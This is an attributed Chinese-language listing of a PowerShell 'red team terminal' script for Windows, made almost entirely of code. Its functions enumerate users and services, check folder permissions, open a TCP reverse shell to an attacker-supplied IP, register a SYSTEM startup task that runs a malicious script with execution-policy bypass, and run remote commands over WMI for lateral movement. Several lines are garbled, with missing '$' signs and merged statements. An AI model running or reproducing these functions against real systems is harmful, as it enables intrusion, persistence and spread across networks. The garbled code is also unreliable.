红队终端工具：高级系统枚举与权限提升的PowerShell脚本

redteam_terminal.ps1

作者：Gerard King

描述：一个一级红队操作员终端程序，用于高级系统枚举、权限提升和持久化

使用场景：渗透测试人员和红队操作员在Windows环境中进行对抗性演练

标签：PowerShell，红队，渗透测试，枚举，权限提升，持久化

功能：收集详细的系统信息（如操作系统、用户、服务）

function Get-SystemInfo { $os = Get-CimInstance -ClassName Win32_OperatingSystem$cpu = Get-CimInstance -ClassName Win32_Processor $services = Get-Service$users = Get-WmiObject -Class Win32_UserAccount Write-Host "n[+] 系统信息：" Write-Host "操作系统：$($os.Caption) | 版本：$($os.Version)" Write-Host "CPU：$($cpu.Name)" Write-Host "n[+] 系统用户：" users | ForEach-Object { Write-Host "用户：($_.Name) | 域：$(_.Domain)" } Write-Host "`n[+] 运行中的服务：" services | Select-Object Name, Status | Format-Table }

功能：使用Netstat和PowerShell扫描开放端口和活动服务

function Scan-Network { Write-Host "`n[+] 网络扫描（开放端口）：" $netstat = netstat -an | Select-String "LISTENING"$netstat | ForEach-Object { Write-Host $_.Line } }

功能：执行权限提升检查（如不安全权限）

function Priv-EscalationCheck { Write-Host "n[+] 权限提升检查（不安全权限）：" $vulnerableDirs = @( "C:\Program Files", "C:\Windows\System32", "C:\Users\Public" ) foreach ($dir in $vulnerableDirs) { Write-Host "n检查目录：$dir" Get-Acl$dir | Select-Object Path, Access } }

功能：启动反向Shell后门

function Start-ReverseShell { param ( [string]$ip, [int]$port ) Write-Host "`n[+] 启动反向Shell连接到 ${ip}:${port}" $reverseShell = New-Object System.Net.Sockets.TcpClient($ip, $port)$stream = $reverseShell.GetStream()$writer = New-Object System.IO.StreamWriter($stream)$reader = New-Object System.IO.StreamReader($stream) while ($true) { $command = Read-Host "Shell命令" if ($command -eq "exit") { $writer.WriteLine("exit")$writer.Flush() break } $writer.WriteLine($command) $writer.Flush()$response = $reader.ReadLine() Write-Host$response } $reader.Close()$writer.Close() $reverseShell.Close() }

功能：创建持久化机制（如计划任务）

function Set-Persistence { Write-Host "`n[+] 设置持久化（计划任务）" $taskName = "RedTeamPersistence"$taskAction = "powershell.exe -ExecutionPolicy Bypass -File C:\Path\To\Your\MaliciousScript.ps1" $taskTrigger = New-ScheduledTaskTrigger -AtStartup$taskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $taskAction Register-ScheduledTask -Action$taskAction -Trigger $taskTrigger -TaskName$taskName -User "NT AUTHORITY\SYSTEM" Write-Host "[+] 通过计划任务安装持久化机制：$taskName" }

功能：启动横向移动（如远程WMI或SMB执行）

function Lateral-Movement { param ( [string]$targetIp, [string]$command ) Write-Host "`n[+] 启动横向移动到 ${targetIp}" Invoke-WmiMethod -ComputerName$targetIp -Class Win32_Process -Name Create -ArgumentList $command Write-Host "[+] 在${targetIp} 上执行的命令：${command}" }

功能：提示用户交互和命令执行

function Start-RedTeamTerminal { # 检查管理员权限 # 已移除管理员检查 Clear-Host Write-Host "[+] 欢迎使用红队终端。准备接收命令。" Write-Host "[+] 输入'exit'退出或'help'查看可用命令。" while (true) { input = Read-Host "输入命令" switch (input.ToLower()) { 'sysinfo' { Get-SystemInfo } 'network' { Scan-Network } 'priv' { Priv-EscalationCheck } 'rev' { ip = Read-Host "输入攻击者IP" $port = Read-Host "输入端口" Start-ReverseShell -ip$ip -port port } 'persistence' { Set-Persistence } 'lateral' { targetIp = Read-Host "输入目标IP" $command = Read-Host "输入要执行的命令" Lateral-Movement -targetIp$targetIp -command $command } 'exit' { Write-Host "[+] 退出红队终端。"; break } 'help' { Write-Host "`n[+] 可用命令：" Write-Host "'sysinfo' - 显示系统信息。" Write-Host "'network' - 扫描开放端口。" Write-Host "'priv' - 检查权限提升机会。" Write-Host "'rev' - 启动反向Shell后门。" Write-Host "'persistence' - 通过计划任务设置持久化。" Write-Host "'lateral' - 通过横向移动远程执行命令。" Write-Host "'exit' - 退出终端。" } default { Write-Host "[+] 无效命令。输入'help'查看可用命令。" } } } }

启动红队终端

Start-RedTeamTerminal

关闭窗口前暂停

Read-Host "按Enter退出..."